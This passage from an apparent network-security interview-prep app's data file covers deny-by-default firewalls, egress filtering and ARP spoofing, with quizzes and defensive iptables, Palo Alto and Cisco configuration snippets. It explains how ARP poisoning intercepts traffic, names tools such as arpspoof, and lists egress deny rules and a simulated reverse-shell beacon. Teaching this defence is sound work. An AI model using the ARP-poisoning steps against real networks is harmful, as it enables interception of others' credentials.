✓`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Summary: Supernetting, hit-count ordering, and purging dead rules streamlines policy evaluation.`,interviewTakeaway:`Firewall optimization preserves hardware resources and simplifies audits.`}]},{id:29,categoryId:`acl-rules`,category:`ACL & Policies`,title:`What is a deny-by-default security model?`,difficulty:`Beginner`,visualType:`q29-deny-by-default`,elevatorPitch:`A deny-by-default (or default-deny / whitelist) security model dictates that all network traffic is blocked unless it matches an explicit, pre-approved allow rule. If a packet reaches the end of the access control list without matching any permitted rule, it is dropped by the implicit default deny rule.`,deepDive:`### Whitelist vs Blacklist Security Models
* **Deny-by-Default (Whitelist Model — Gold Standard):**
  * **Principle:** "Everything is forbidden unless explicitly allowed."
  * **Mechanism:** Administrators explicitly define approved ports/protocols (e.g. HTTPS, DNS). All unknown, newly discovered, or unexpected traffic is dropped automatically.
  * **Resilience:** Protects against zero-day attacks, unauthorized malware beaconing, and shadow IT.
* **Allow-by-Default (Blacklist Model — Insecure):**
  * **Principle:** "Everything is allowed unless explicitly forbidden."
  * **Flaw:** Attackers simply change ports (e.g. running C2 malware over port 8088 instead of 80) to bypass blocklists.

### The Implicit Deny Rule
Every modern enterprise firewall (Palo Alto, Cisco ASA, Fortinet, iptables) places an unwritten or written **Implicit Deny All** rule at the absolute bottom of the ACL:
\`\`\`text
[Rule 1] ALLOW SRC: LAN DST: Any PORT: 443 (HTTPS)
[Rule 2] ALLOW SRC: LAN DST: 8.8.8.8 PORT: 53 (DNS)
[Implicit Deny] DENY SRC: Any DST: Any PORT: Any (ALL OTHER TRAFFIC)
\`\`\``,realWorldScenario:`An employee plugs an unauthorized personal Raspberry Pi into an office Ethernet jack and launches an SSH tunnel to a home server on port 2222. Because the corporate firewall operates on a deny-by-default model and only permits ports 80/443/53, the unauthorized SSH connection is dropped immediately by the implicit deny rule.`,commonTraps:[`Assuming that if an administrator does not configure an explicit Deny rule, unmatched traffic will pass (Firewalls drop unmatched traffic by default!).`,"Placing an `ALLOW ANY ANY` rule at the bottom, which completely destroys the deny-by-default security model."],cliSnippet:`# Linux iptables Deny-by-Default Chain Policy
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# Explicitly whitelist only required services
iptables -A FORWARD -p tcp --dport 443 -j ACCEPT`,quiz:{question:`What happens to a network packet that does not match any configured rule in a deny-by-default firewall?`,options:[`It is held in a temporary RAM buffer for 24 hours`,`It is forwarded to the default gateway without inspection`,`It is dropped by the implicit deny rule at the bottom of the policy list`,`It is automatically converted to an encrypted HTTPS packet`],correctAnswer:2,explanation:`In a deny-by-default architecture, any packet that fails to match an explicit permit rule is automatically dropped by the implicit deny rule.`},steps:[{id:1,label:`1. Client Endpoint Active (10.0.1.25)`,badge:`Step 1: Client Host`,activeNodes:[`client`],whatIsHappening:`Client endpoint preparing to send approved and unapproved traffic.`,interviewTakeaway:`Clients generate diverse traffic streams.`},{id:2,label:`2. Deny-by-Default Firewall Active (Explicit Whitelist)`,badge:`Step 2: Whitelist Gateway`,activeNodes:[`firewall`],whatIsHappening:`Firewall configured with explicit whitelist: ALLOW HTTPS and ALLOW DNS only.`,interviewTakeaway:`Deny-by-default permits only explicitly approved services.`},{id:3,label:`3. Corporate Web Server Active (10.0.5.50)`,badge:`Step 3: Target Server`,activeNodes:[`server`],whatIsHappening:`Protected server housing corporate applications.`,interviewTakeaway:`Protected assets depend on whitelist perimeter enforcement.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Cables connect Client → Firewall → Server.`,interviewTakeaway:`Physical transit chain established.`},{id:5,label:`5. Client Transmits Approved HTTPS Packet (Port 443)`,badge:`Step 5: Approved Packet`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.50`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Client sends standard HTTPS web traffic.`,interviewTakeaway:`Approved traffic matches explicit whitelist rules.`},{id:6,label:`6. Packet Moves: Client → Firewall`,badge:`Step 6: Transit to Firewall`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.50`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet enters firewall interface.`,interviewTakeaway:`Packet checked against whitelist rules.`},{id:7,label:`7. Firewall Matches Rule 1: ALLOW HTTPS ✓`,badge:`Step 7: Whitelist Match`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW HTTPS (Port 443) → PASS`,whatIsHappening:`Firewall matches explicit permit rule and allows packet through.`,interviewTakeaway:`Explicit permit rules pass authorized applications.`},{id:8,label:`8. Action: ALLOW Executed`,badge:`Step 8: Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall permits packet and clears it for server delivery.`,interviewTakeaway:`Allowed packet proceeds to server.`},{id:9,label:`9. Packet Moves: Firewall → Server`,badge:`Step 9: Server Ingress`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.50`,srcPort:49200,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet reaches target server.`,interviewTakeaway:`Approved traffic reaches destination.`},{id:10,label:`10. Server Receives HTTPS Packet (ACCEPTED ✓)`,badge:`Step 10: SCENARIO A COMPLETE ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Server receives HTTPS connection. (Approved Flow Complete - STOP).`,interviewTakeaway:`Known/permitted traffic passes seamlessly.`},{id:11,label:`11. SCENARIO B: Client Transmits Unapproved SSH Packet (Port 22)`,badge:`Step 11: Unapproved Packet`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.50`,srcPort:51234,dstPort:22,protocol:`TCP`},whatIsHappening:`Client attempts unauthorized SSH connection.`,interviewTakeaway:`Unapproved ports are evaluated against all rules.`},{id:12,label:`12. Packet Moves: Client → Firewall`,badge:`Step 12: Transit to Firewall`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.25`,dstIp:`10.0.5.50`,srcPort:51234,dstPort:22,protocol:`TCP`},whatIsHappening:`SSH packet enters firewall interface.`,interviewTakeaway:`SSH packet checked against whitelist rules.`},{id:13,label:`13. Check Rule 1 (Port 443) → NO MATCH ✕`,badge:`Step 13: Rule 1 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall checks Rule 1 (HTTPS); port 22 does not match port 443.`,interviewTakeaway:`Mismatched rules fall through.`},{id:14,label:`14. Check Rule 2 (Port 53) → NO MATCH ✕`,badge:`Step 14: Rule 2 Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall checks Rule 2 (DNS); port 22 does not match port 53.`,interviewTakeaway:`Evaluation reaches bottom of list.`},{id:15,label:`15. Packet Falls Through to End of Rulebase`,badge:`Step 15: Fall-through`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Packet fails to match any explicit permit rule.`,interviewTakeaway:`Unmatched traffic reaches implicit deny.`},{id:16,label:`16. IMPLICIT DEFAULT DENY Triggers: Action = DENY / DROP`,badge:`Step 16: IMPLICIT DENY ✕`,activeNodes:[`firewall`],decision:`DENY`,ruleMatched:`IMPLICIT DEFAULT DENY: Unknown Traffic Blocked`,whatIsHappening:`Implicit Deny rule triggers; packet dropped immediately.`,interviewTakeaway:`Implicit Deny is the safety net of network security.`},{id:17,label:`17. Packet Physically Stops at Firewall (BLOCKED ✕)`,badge:`Step 17: Packet Blocked ✕`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Packet is discarded; server receives 0 packets.`,interviewTakeaway:`Blocked traffic is dropped at the firewall.`},{id:18,label:`18. Deny-by-Default Security Model Verified ✓`,badge:`Step 18: MODEL VERIFIED ✓`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Known traffic passes; unknown traffic drops. Deny-by-default protects corporate assets.`,interviewTakeaway:`Everything not explicitly permitted is strictly forbidden.`}]},{id:30,categoryId:`acl-rules`,category:`ACL & Policies`,title:`What is an egress firewall rule and why is outbound filtering important?`,difficulty:`Intermediate`,visualType:`q30-egress-filtering`,elevatorPitch:`An egress firewall rule inspects and restricts traffic originating from inside the trusted corporate network heading out to the public Internet. Egress filtering is critical because it stops malware from communicating with Command-and-Control (C2) servers, blocks unauthorized data exfiltration, and prevents internal compromised systems from participating in external DDoS botnets.`,deepDive:`### The Ingress vs Egress Fallacy
Many novice administrators focus 100% on **Ingress Filtering** (blocking incoming hackers) while leaving **Egress Filtering** completely wide open (\`ALLOW ANY ANY OUTBOUND\`).

### Why Open Egress is Dangerous
1. **Malware C2 Communication:** Trojans, ransomware, and RATs rely on outbound reverse shells (e.g. connecting outbound on port 4444 or 8080) to receive attacker commands.
2. **Data Exfiltration:** Attackers steal sensitive databases over unmonitored outbound protocols like FTP, IRC, TFTP, or raw TCP sockets.
3. **Internal Botnet Participation:** Infected workstations launch outbound SYN floods or spam campaigns against third parties, causing the enterprise public IP to be blacklisted.
4. **Rogue DNS & Bypass:** Unrestricted outbound UDP 53 allows endpoints to bypass corporate DNS logging and use covert DNS tunneling for data theft.

### Egress Filtering Best Practices
* Restrict outbound web browsing strictly to authorized HTTP/HTTPS proxies.
* Force all endpoints to use internal corporate DNS servers; block all direct outbound UDP/TCP 53 to external resolvers.
* Strictly block outbound SMB (TCP 445), Telnet (TCP 23), and SMTP (TCP 25) from user subnets.`,realWorldScenario:`An enterprise endpoint was infected with Cobalt Strike beacon malware via a phishing email. The malware attempted to establish an outbound reverse shell to an external Russian IP on port 4444. Because the firewall enforced strict egress filtering allowing only ports 80 and 443 through an inspection proxy, the outbound beacon was blocked and an immediate alert triggered incident response.`,commonTraps:[`Assuming that trusted internal employees never generate malicious outbound traffic.`,`Allowing direct outbound DNS (UDP 53) to 8.8.8.8 from all workstations, which enables data exfiltration via DNS tunneling.`],cliSnippet:`# Palo Alto Egress Security Policy
set rulebase security rules "Block_Suspicious_Egress" from "Trust_L2" to "Untrust_WAN" service [ service-telnet service-smb service-ssh ] action drop

# Cisco ASA Egress Restriction
access-list LAN_EGRESS extended permit tcp 10.0.0.0 255.255.0.0 any eq 443
access-list LAN_EGRESS extended deny ip any any`,quiz:{question:`Which security threat is directly mitigated by implementing strict outbound egress firewall filtering?`,options:[`Physical theft of laptop hard drives`,`Malware on compromised internal hosts establishing reverse Command-and-Control (C2) channels`,`BGP route flapping on the ISP edge router`,`Expired SSL certificates on external vendor websites`],correctAnswer:1,explanation:`Egress filtering restricts outbound ports and destinations, preventing compromised internal machines from opening reverse shells or exfiltrating data to external C2 servers.`},steps:[{id:1,label:`1. Internal Workstation Active (10.0.1.50)`,badge:`Step 1: Internal Client`,activeNodes:[`client`],whatIsHappening:`Internal corporate network hosting employee workstations.`,interviewTakeaway:`Egress filtering monitors traffic originating inside the network.`},{id:2,label:`2. Perimeter Firewall with Strict Egress Policy Active`,badge:`Step 2: Egress Gateway`,activeNodes:[`firewall`],whatIsHappening:`Firewall enforcing outbound application filtering and port restriction.`,interviewTakeaway:`Egress rules govern outbound LAN → WAN communications.`},{id:3,label:`3. Public Internet Destination Active`,badge:`Step 3: External WAN`,activeNodes:[`internet`],whatIsHappening:`External Internet hosting legitimate SaaS resources and potential attacker C2 nodes.`,interviewTakeaway:`Outbound traffic must be verified before entering the public WAN.`},{id:4,label:`4. Outbound Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`firewall`,`internet`],whatIsHappening:`Cables connect Internal Client → Firewall → Internet.`,interviewTakeaway:`Egress transit path established.`},{id:5,label:`5. Legitimate Internal HTTPS Web Request Generated (Port 443)`,badge:`Step 5: Approved Egress`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.25`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Employee workstation initiates legitimate HTTPS request to cloud SaaS platform.`,interviewTakeaway:`Legitimate business traffic matches approved egress policies.`},{id:6,label:`6. Packet Moves: Client → Firewall`,badge:`Step 6: Outbound Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.25`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet arrives at firewall inside interface.`,interviewTakeaway:`Egress traffic evaluated against outbound ACL.`},{id:7,label:`7. Firewall Validates Egress Rule: ALLOW HTTPS ✓`,badge:`Step 7: Egress Match ✓`,activeNodes:[`firewall`],decision:`ALLOW`,ruleMatched:`Egress Rule: ALLOW LAN → WAN (Port 443 SaaS)`,whatIsHappening:`Firewall validates port 443, performs threat inspection, and permits outbound transit.`,interviewTakeaway:`Authorized outbound web traffic passes safely to the Internet.`},{id:8,label:`8. Action: ALLOW Executed`,badge:`Step 8: Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Packet cleared for WAN egress.`,interviewTakeaway:`Permitted packet enters public Internet.`},{id:9,label:`9. Packet Moves: Firewall → Internet Destination`,badge:`Step 9: WAN Transit`,activeNodes:[`firewall`,`internet`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`198.51.100.25`,srcPort:49152,dstPort:443,protocol:`TCP`},whatIsHappening:`Packet reaches target SaaS server.`,interviewTakeaway:`Authorized business traffic flows uninterrupted.`},{id:10,label:`10. SaaS Server Returns Response (SCENARIO 1 COMPLETE ✓)`,badge:`Step 10: SCENARIO 1 COMPLETE ✓`,activeNodes:[`internet`,`client`],decision:`ALLOW`,whatIsHappening:`SaaS response delivered back to client. (Scenario 1 Complete - STOP).`,interviewTakeaway:`Legitimate outbound traffic operates seamlessly.`},{id:11,label:`11. SCENARIO 2: Infected Host Generates Malicious C2 Beacon (Port 4444)`,badge:`Step 11: Malware C2 Beacon`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`203.0.113.99`,srcPort:53100,dstPort:4444,protocol:`TCP`,payloadSummary:`Reverse Shell Payload`},whatIsHappening:`Malware on internal machine attempts to establish reverse shell on unauthorized port 4444.`,interviewTakeaway:`Malware relies on unauthorized outbound ports for remote control.`},{id:12,label:`12. Packet Moves: Infected Host → Firewall`,badge:`Step 12: C2 Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.1.50`,dstIp:`203.0.113.99`,srcPort:53100,dstPort:4444,protocol:`TCP`},whatIsHappening:`Malicious beacon reaches firewall inside interface.`,interviewTakeaway:`Egress filtering inspects outbound destination port.`},{id:13,label:`13. Firewall Egress Policy Check: Port 4444 is NOT Whitelisted`,badge:`Step 13: Egress Check`,activeNodes:[`firewall`],decision:`INSPECT`,whatIsHappening:`Firewall inspects outbound packet; port 4444 is not in the approved egress whitelist.`,interviewTakeaway:`Egress filtering blocks non-whitelisted outbound destinations.`},{id:14,label:`14. Action: DENY / DROP (Packet Physically Stops ✕)`,badge:`Step 14: EGRESS DROPPED ✕`,activeNodes:[`firewall`],decision:`DENY`,ruleMatched:`EGRESS DENY: Unauthorized Port 4444 / Suspicious Beacon`,whatIsHappening:`Firewall drops packet; malicious beacon never leaves internal network.`,interviewTakeaway:`Strict egress filtering prevents data exfiltration and disables malware C2 channels.`},{id:15,label:`15. Security Alert Logged: "C2 Reverse Shell Blocked"`,badge:`Step 15: Security Alert`,activeNodes:[`firewall`],decision:`DENY`,whatIsHappening:`Firewall alerts SOC and flags internal endpoint 10.0.1.50 for malware quarantine.`,interviewTakeaway:`Egress drop logs alert security teams to active internal infections.`},{id:16,label:`16. Public Internet / C2 Server Receives 0 Packets (Attack Severed ✓)`,badge:`Step 16: ATTACK SEVERED ✓`,activeNodes:[`internet`],decision:`DENY`,whatIsHappening:`Attacker C2 server receives 0 packets; reverse shell failed. Egress protection verified.`,interviewTakeaway:`Outbound filtering stops exfiltration and disables botnet beacons.`},{id:17,label:`17. Egress Filtering Summary Complete ✓`,badge:`Step 17: EGRESS COMPLETE ✓`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Summary: Egress filtering is as vital as ingress filtering for defense-in-depth.`,interviewTakeaway:`Egress filtering prevents internal devices from becoming external attack vectors.`}]},{id:31,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is ARP, and what are the security risks associated with ARP?`,difficulty:`Intermediate`,visualType:`q31-arp-security`,elevatorPitch:`The Address Resolution Protocol (ARP) maps a known Layer 3 IP address to a Layer 2 physical MAC address on a local Ethernet segment. The fundamental security risk is that ARP is completely stateless and lacks authentication: any device can send forged ARP replies claiming to own another device’s IP, allowing attackers to perform Man-in-the-Middle (MITM) attacks.`,deepDive:`### How Legitimate ARP Works (Request & Reply)
1. **ARP Request (Broadcast):** Host A needs the MAC for \`192.168.1.20\`. It sends an Ethernet broadcast (\`FF:FF:FF:FF:FF:FF\`): *"Who has 192.168.1.20? Tell 192.168.1.10."*
2. **ARP Reply (Unicast):** Host B with that IP replies directly to Host A: *"192.168.1.20 is at MAC AA:BB:CC:DD:EE:FF."*
3. **ARP Cache Table:** Host A stores the mapping in its local ARP cache for future frames.

### The Fundamental ARP Vulnerability
* **No Authentication:** ARP packets contain zero cryptographic signatures or validation.
* **Gratuitous & Unsolicited ARP Acceptance:** Most operating systems update their ARP cache when receiving an ARP reply **even if they never asked for it**.
* **Attacker Exploit:** An attacker on the local LAN sends a fake ARP reply: *"192.168.1.1 (Gateway) is at ATTACKER_MAC"*. The victim updates its cache and redirects all outbound traffic to the attacker.`,realWorldScenario:`An attacker connects to an open office conference room Ethernet port and runs an ARP poisoning tool (like BetterCAP). The tool broadcasts spoofed ARP replies claiming the attacker is the default gateway. Within seconds, all employee traffic on that VLAN routes through the attacker’s laptop for password sniffing before being forwarded to the real router.`,commonTraps:[`Assuming ARP operates across the Internet (ARP is strictly a Layer 2 local broadcast domain protocol).`,`Believing static IP assignment prevents ARP poisoning (Static IPs still use dynamic ARP tables unless static ARP entries or Dynamic ARP Inspection is configured).`],cliSnippet:`# View ARP Cache Table (Windows / Linux)
arp -a
ip neighbor show

# Configure Static ARP Entry (Linux)
ip neighbor add 192.168.1.1 lladdr 00:11:22:33:44:55 dev eth0 nud permanent`,quiz:{question:`What is the primary architectural vulnerability in the Address Resolution Protocol (ARP)?`,options:[`ARP packets are limited to 64 bytes in size`,`ARP has no authentication or state validation, allowing hosts to accept unsolicited spoofed replies`,`ARP requires a public Internet certificate authority`,`ARP only functions on 10 Mbps coaxial networks`],correctAnswer:1,explanation:`ARP is an unauthenticated, stateless protocol. Hosts accept unsolicited ARP replies without verifying if the sender is legitimately authorized to claim that IP.`},steps:[{id:1,label:`1. Client Workstation Active (192.168.1.10)`,badge:`Step 1: Source Host`,activeNodes:[`client`],whatIsHappening:`Client needs to communicate with target server on local LAN.`,interviewTakeaway:`Layer 3 communication requires resolving Layer 2 MAC addresses.`},{id:2,label:`2. Local Layer 2 Switch Active`,badge:`Step 2: L2 Switch`,activeNodes:[`switch`],whatIsHappening:`Ethernet switch forwards frames and floods broadcast packets across VLAN.`,interviewTakeaway:`Switches flood Layer 2 broadcasts to all active ports.`},{id:3,label:`3. Target Server Active (192.168.1.20 / MAC AA:BB:CC)`,badge:`Step 3: Target Server`,activeNodes:[`server`],whatIsHappening:`File server with IP 192.168.1.20 and MAC AA:BB:CC:11:22:33.`,interviewTakeaway:`Target hosts listen for ARP requests matching their configured IP.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`switch`,`server`],whatIsHappening:`Ethernet cables connect Client → Switch → Server.`,interviewTakeaway:`Layer 2 broadcast domain established.`},{id:5,label:`5. Client Prepares IP Packet (Needs MAC Address for 192.168.1.20)`,badge:`Step 5: ARP Required`,activeNodes:[`client`],whatIsHappening:`Client checks local ARP cache: finding no entry, initiates ARP resolution.`,interviewTakeaway:`ARP is invoked dynamically when destination MAC is unknown.`},{id:6,label:`6. Client Broadcasts ARP Request: "Who has 192.168.1.20?"`,badge:`Step 6: ARP Broadcast`,activeNodes:[`client`,`switch`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`192.168.1.20`,payloadSummary:`ARP Request: Who has 192.168.1.20? Tell 192.168.1.10`},whatIsHappening:`Client sends Layer 2 broadcast frame (FF:FF:FF:FF:FF:FF) into switch.`,interviewTakeaway:`ARP requests are broadcast because the destination MAC is unknown.`},{id:7,label:`7. Switch Floods ARP Request to All Local Ports`,badge:`Step 7: Switch Flooding`,activeNodes:[`switch`,`server`],whatIsHappening:`Switch floods ARP broadcast to every host in the broadcast domain.`,interviewTakeaway:`Broadcast frames reach every endpoint on the local Layer 2 segment.`},{id:8,label:`8. Server Receives ARP Broadcast`,badge:`Step 8: Server Ingress`,activeNodes:[`server`],whatIsHappening:`Target server matches requested IP (192.168.1.20) and prepares reply.`,interviewTakeaway:`Only the host matching the requested IP generates an ARP reply.`},{id:9,label:`9. Server Creates Unicast ARP Reply: "192.168.1.20 is at MAC AA:BB:CC"`,badge:`Step 9: ARP Reply Created`,activeNodes:[`server`],packetInfo:{srcIp:`192.168.1.20`,dstIp:`192.168.1.10`,payloadSummary:`ARP Reply: 192.168.1.20 is at MAC AA:BB:CC:11:22:33`},whatIsHappening:`Target server answers with unicast reply containing its physical MAC address.`,interviewTakeaway:`ARP replies are unicast directly back to the requester.`},{id:10,label:`10. Reply Moves: Server → Switch → Client`,badge:`Step 10: Unicast Transit`,activeNodes:[`server`,`switch`,`client`],packetInfo:{srcIp:`192.168.1.20`,dstIp:`192.168.1.10`},whatIsHappening:`Switch uses MAC address table to forward reply directly to client port.`,interviewTakeaway:`Unicast frames are directed only to the destination MAC port.`},{id:11,label:`11. Client Receives ARP Reply`,badge:`Step 11: Reply Received`,activeNodes:[`client`],whatIsHappening:`Client receives server MAC address AA:BB:CC:11:22:33.`,interviewTakeaway:`Client extracts physical hardware address.`},{id:12,label:`12. Client Updates Local ARP Cache Table (192.168.1.20 → AA:BB:CC)`,badge:`Step 12: Cache Updated ✓`,activeNodes:[`client`],decision:`ALLOW`,whatIsHappening:`Client stores 192.168.1.20 → AA:BB:CC in memory for future frames.`,interviewTakeaway:`ARP table binds IP to MAC for fast Layer 2 frame transmission.`},{id:13,label:`13. Client Creates Actual IP Data Frame with Learned MAC`,badge:`Step 13: Data Frame Created`,activeNodes:[`client`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`192.168.1.20`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Client encapsulates application payload with destination MAC AA:BB:CC.`,interviewTakeaway:`Learned MAC allows data communication to begin.`},{id:14,label:`14. Data Frame Moves: Client → Server`,badge:`Step 14: Data Transit`,activeNodes:[`client`,`server`],packetInfo:{srcIp:`192.168.1.10`,dstIp:`192.168.1.20`,srcPort:49100,dstPort:443,protocol:`TCP`},whatIsHappening:`Data packet transits switch directly to server.`,interviewTakeaway:`Direct Layer 2 switching carries payload.`},{id:15,label:`15. Server Receives Data Frame (ACCEPTED ✓)`,badge:`Step 15: Delivered ✓`,activeNodes:[`server`],decision:`ALLOW`,whatIsHappening:`Server receives data frame and begins processing request.`,interviewTakeaway:`ARP resolution successfully enabled end-to-end communication.`},{id:16,label:`16. Security Risk Highlighted: Stateless & Unauthenticated ARP`,badge:`Step 16: SECURITY RISK ✕`,activeNodes:[`client`],decision:`DENY`,whatIsHappening:`Risk: ARP lacks authentication; attackers can send unsolicited fake replies to poison cache.`,interviewTakeaway:`Stateless ARP allows malicious actors to poison cache tables and hijack traffic.`},{id:17,label:`17. ARP Protocol & Security Summary Complete ✓`,badge:`Step 17: ARP COMPLETE ✓`,activeNodes:[`client`],decision:`ALLOW`,whatIsHappening:`Summary: ARP maps IP to MAC; Dynamic ARP Inspection (DAI) is required to secure it.`,interviewTakeaway:`DAI + DHCP Snooping provides complete enterprise immunity against ARP poisoning.`}]},{id:32,categoryId:`network-services`,category:`ARP, DNS & DHCP`,title:`What is ARP spoofing/poisoning and how is it prevented?`,difficulty:`Intermediate`,visualType:`q32-arp-spoofing`,elevatorPitch:`ARP spoofing (or ARP poisoning) is an attack where a threat actor sends forged ARP messages across a local LAN to bind the attacker’s MAC address to the IP address of a legitimate default gateway or server. This redirects all victim traffic through the attacker (Man-in-the-Middle). It is prevented using Dynamic ARP Inspection (DAI) coupled with DHCP Snooping on enterprise switches.`,deepDive:`### Mechanics of a Man-in-the-Middle (MITM) ARP Attack
1. **Target 1 (Victim Host):** Attacker sends spoofed ARP: *"Default Gateway (192.168.1.1) is at ATTACKER_MAC"*.
2. **Target 2 (Default Gateway):** Attacker sends spoofed ARP: *"Victim Host (192.168.1.50) is at ATTACKER_MAC"*.
3. **Traffic Interception:** All outbound traffic from the victim and all inbound responses from the gateway now physically pass through the attacker’s machine.
4. **Packet Forwarding:** Attacker sniffs or modifies sensitive data (passwords, session tokens) and forwards the packet so the victim notices zero disruption.

### Prevention & Mitigation Strategies
* **Dynamic ARP Inspection (DAI):** Switch validates incoming ARP packets against a trusted **DHCP Snooping Binding Database**. Forged ARP packets on untrusted ports are dropped instantly.
* **DHCP Snooping:** Restricts DHCP server responses to authorized switch uplinks and logs valid IP-MAC-Port bindings.
* **Static ARP Bindings:** Manually configured permanent ARP entries for critical infrastructure gateways.
* **802.1X Port Authentication:** Prevents rogue devices from connecting to switch ports.`,realWorldScenario:"An attacker in a university lab ran `arpspoof` to hijack student web sessions. The network team enabled `ip dhcp snooping` and `ip arp inspection vlan 10` on the Cisco Catalyst switches. The switch immediately detected mismatched ARP replies on untrusted access port Fa0/12, dropped the forged frames, and error-disabled the attacker’s port.",commonTraps:[`Believing SSL/TLS encryption stops ARP poisoning (TLS protects data confidentiality, but the attacker can still perform SSL stripping, DNS spoofing, or denial-of-service).`,`Configuring DAI without enabling DHCP Snooping first (DAI relies on the DHCP snooping table to validate IP-to-MAC authenticity).`],cliSnippet:`# Cisco Switch Dynamic ARP Inspection (DAI) Configuration
ip dhcp snooping
ip dhcp snooping vlan 10
!
interface GigabitEthernet0/24
 description Trusted Uplink to Router
 ip dhcp snooping trust
 ip arp inspection trust
!
ip arp inspection vlan 10`,quiz:{question:`Which switch security feature actively inspects and drops invalid, forged ARP packets on untrusted access ports?`,options:[`Spanning Tree Protocol (STP)`,`Dynamic ARP Inspection (DAI)`,`Link Aggregation Control Protocol (LACP)`,`Virtual Router Redundancy Protocol (VRRP)`],correctAnswer:1,explanation:`Dynamic ARP Inspection (DAI) inspects ARP packets on untrusted ports and validates them against the DHCP Snooping database to prevent ARP poisoning.`},steps:[{id:1,label:`1. Victim Client Active (192.168.1.50)`,badge:`Step 1: Victim Host`,activeNodes:[`client`],whatIsHappening:`Victim computer connected to corporate local network.`,interviewTakeaway:`Endpoints trust ARP responses by default.`},{id:2,label:`2. Default Gateway Active (192.168.1.1 / MAC 00:11:22)`,badge:`Step 2: Gateway`,activeNodes:[`gateway`],whatIsHappening:`Legitimate default gateway routing traffic to external networks.`,interviewTakeaway:`The gateway is the primary target for ARP MITM redirection.`},{id:3,label:`3. Attacker Node Connected on Same LAN Segment`,badge:`Step 3: Attacker Active`,activeNodes:[`attacker`],whatIsHappening:`Attacker connects rogue device (MAC: 66:66:66) to unmanaged switch port on same VLAN.`,interviewTakeaway:`ARP attacks require local Layer 2 adjacency.`},{id:4,label:`4. Network Cables Connected`,badge:`Step 4: Cables Connected`,activeNodes:[`client`,`gateway`,`attacker`],whatIsHappening:`Layer 2 broadcast links interconnect Victim, Gateway, and Attacker.`,interviewTakeaway:`All hosts share the same broadcast domain.`},{id:5,label:`5. Attacker Transmits Forged Gratuitous ARP Packet`,badge:`Step 5: Forged ARP Sent`,activeNodes:[`attacker`],packetInfo:{srcIp:`192.168.1.1`,dstIp:`192.168.1.50`,payloadSummary:`SPOOFED ARP: 192.168.1.1 is at ATTACKER_MAC (66:66:66)`},whatIsHappening:`Attacker sends unsolicited ARP replies claiming to be Default Gateway 192.168.1.1.`,interviewTakeaway:`Gratuitous ARPs overwrite target cache entries without verification.`},{id:6,label:`6. Forged ARP Reaches Victim Client`,badge:`Step 6: Forged ARP Ingress`,activeNodes:[`client`],whatIsHappening:`Victim receives forged ARP packet.`,interviewTakeaway:`Stateless hosts process unrequested ARP replies.`},{id:7,label:`7. Victim ARP Cache POISONED (Gateway IP → Attacker MAC)`,badge:`Step 7: POISONED CACHE ✕`,activeNodes:[`client`],decision:`DENY`,whatIsHappening:`Victim updates ARP table with attacker MAC address (66:66:66) for 192.168.1.1.`,interviewTakeaway:`The victim is now tricked into sending all gateway traffic to the attacker.`},{id:8,label:`8. Victim Generates Outbound Banking Traffic Destined for Gateway`,badge:`Step 8: Outbound Traffic`,activeNodes:[`client`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`,payloadSummary:`Secret Banking Credentials`},whatIsHappening:`Victim attempts to browse external banking website.`,interviewTakeaway:`Victim believes frames are going to default gateway.`},{id:9,label:`9. Traffic HIJACKED: Physically Redirected to Attacker (MITM ✕)`,badge:`Step 9: MITM HIJACK ✕`,activeNodes:[`client`,`attacker`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`198.51.100.20`},decision:`DENY`,whatIsHappening:`Outbound traffic routes directly to attacker machine for packet sniffing and manipulation.`,interviewTakeaway:`Man-in-the-Middle eavesdropping compromises confidentiality and integrity.`},{id:10,label:`10. Attacker Sniffs Credentials (SCENARIO 1 COMPLETE ✕)`,badge:`Step 10: SCENARIO 1 COMPLETE ✕`,activeNodes:[`attacker`],decision:`DENY`,whatIsHappening:`Attacker captures plaintext passwords and session tokens. (Attack Flow Complete - STOP).`,interviewTakeaway:`Unprotected Layer 2 networks are vulnerable to MITM.`},{id:11,label:`11. SCENARIO 2: Dynamic ARP Inspection (DAI) & Snooping 